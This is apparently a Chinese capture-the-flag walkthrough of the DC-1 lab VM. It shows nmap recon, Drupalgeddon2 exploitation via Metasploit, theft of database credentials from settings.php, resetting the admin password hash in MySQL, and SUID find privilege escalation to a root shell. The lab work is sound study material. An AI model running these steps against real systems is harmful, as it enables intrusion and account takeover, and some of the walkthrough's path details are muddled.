环境准备
kali攻击机:192.168.153.130
win10攻击机:192.168.1.157
DC-1靶机:???????
一、信息收集
使用 arp-scan -l 扫描c段(-l为扫描c段)
得到靶机ip地址 192.168.153.132
使用 nmap -sV 192.168.153.132 扫描靶机开放端口(-sV探测服务软件的版本)
得到目标开放端口以及对应服务的软件版本。
因其开放80端口,浏览器访问一下192.168.153.132,得到一个登陆页面。
浏览器安装 Wappalyzer网站指纹工具,可在火狐插件中安装。可以看到网站使用了Drupal 7内容管理系统。
在网页响应头中,也有体现
确实是基于Drupal框架的网页,现在我们打开MSF看看有没有关于Drupal的exp
msfconsole 启动msf
search drupal 查看下有没有相关的exp
二、漏洞利用
use exploit/unix/webapp/drupal_drupalgeddon2 选择此模块进行攻击
show options 展示设置
只需设置rhost靶机地址即可
set rhosts 192.168.153.132
输入 exploit 开始攻击 ,弹回一个meterpreter的shell
ls 查看,发现flag1文件
cat flag1.txt 查看flag1的内容,好的cms需要配置文件,俺也一样~
找找cms的配置文件你在何方?
最后在 sites/default 下,找到一个settings.php的文件,查看文件内容,发现flag2字段以及数据库的相关信息,其中包括用户名和密码 。
使用命令
shell
拿到一个shell然后再使用命令
python -c 'import pty; pty.spawn("/bin/bash")'
获取一个交互式shell
使用命令
mysql -udbuser -pR0ck3t
登录MySQL数据库
使用
show databases;
命令显示数据库,看到有两个数据库
然后进入drupaldb数据库查看数据表信息
use drupaldb 进入数据库
show tables; 查看所有表
可以看到 users 和 users_roles两个表可能有用
select * from users ; 查看users表中的信息
可以看到pass的内容是加密的,所这里有两种办法,
一种是修改用户密码,一种是新添加一个用户
,我们首先来看看修改用户密码
先exit 退出mysql
找一找,找一找,用户密码密文的产生脚本是靶机中的/scriptss/password-hash.sh
我们使用这个脚本来生成一个密文,密码就是admin吧
cd..回到www下,输入 php scripts/password-hash.sh admin
生成的密文是:$S$DekQJFPLKlOkkUtE/KxeR4EB1v0owYvkri0TkiM9a.Yvlv5b72AU
mysql -udbuser -pR0ck3t
登录mysql,
update drupaldb.users set pass="
$S$DekQJFPLKlOkkUtE/KxeR4EB1v0owYvkri0TkiM9a.Yvlv5b72AU" where name="admin";
更改用户admin的密码
修改成功!使用admin/admin在网页成功登录!
左上角content,发现flag3
提示我们需要find查找,然后试试命令
find / -name "*flag*"
查找flag文件,发现flag4.txt和thefinalflag.txt
进入到/home/flag4目录下,使用命令
cat flag4.txt
查看文件
提示我们要进入到root账户下 ,所以我们按照权限查找文件
三、提权
使用命令
find / -perm -u=s -type f 2>/dev/null
-perm: 按照权限查找
-type: 查块设备d、目录d、字符设备c、管道c、管道p、符号链接l、普通文件f
-u=s: 拥有者是s权限
S权限:设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份,典型的文件是passwd。如果一般用户执行该文件,则在执行过程中,该文件可以获得root权限,从而可以更改用户的密码
ls -al /usr/bin/passwd 查看文件权限,发现文件有root权限,且在其权限下可读写,可执行
find /usr/bin/passwd -exec whoami \;
这样执行,是拥有root权限执行的。
find /usr/bin/passwd -exec cat /root/thefinalflag.txt \;
用root权限查看文件
成功读取到文件内容!
第二种提权方式:
根据flag3的提示,我们知道需要进行提权,首先查看系统上运行的所有的SUID可执行文件,或者是具有root权限的SUID文件。
使用命令
find / -user root -perm -4000 -print 2>/dev/null
进行查找
使用命令find /usr/bin/passwd -exec '/bin/sh' \; 获取root权限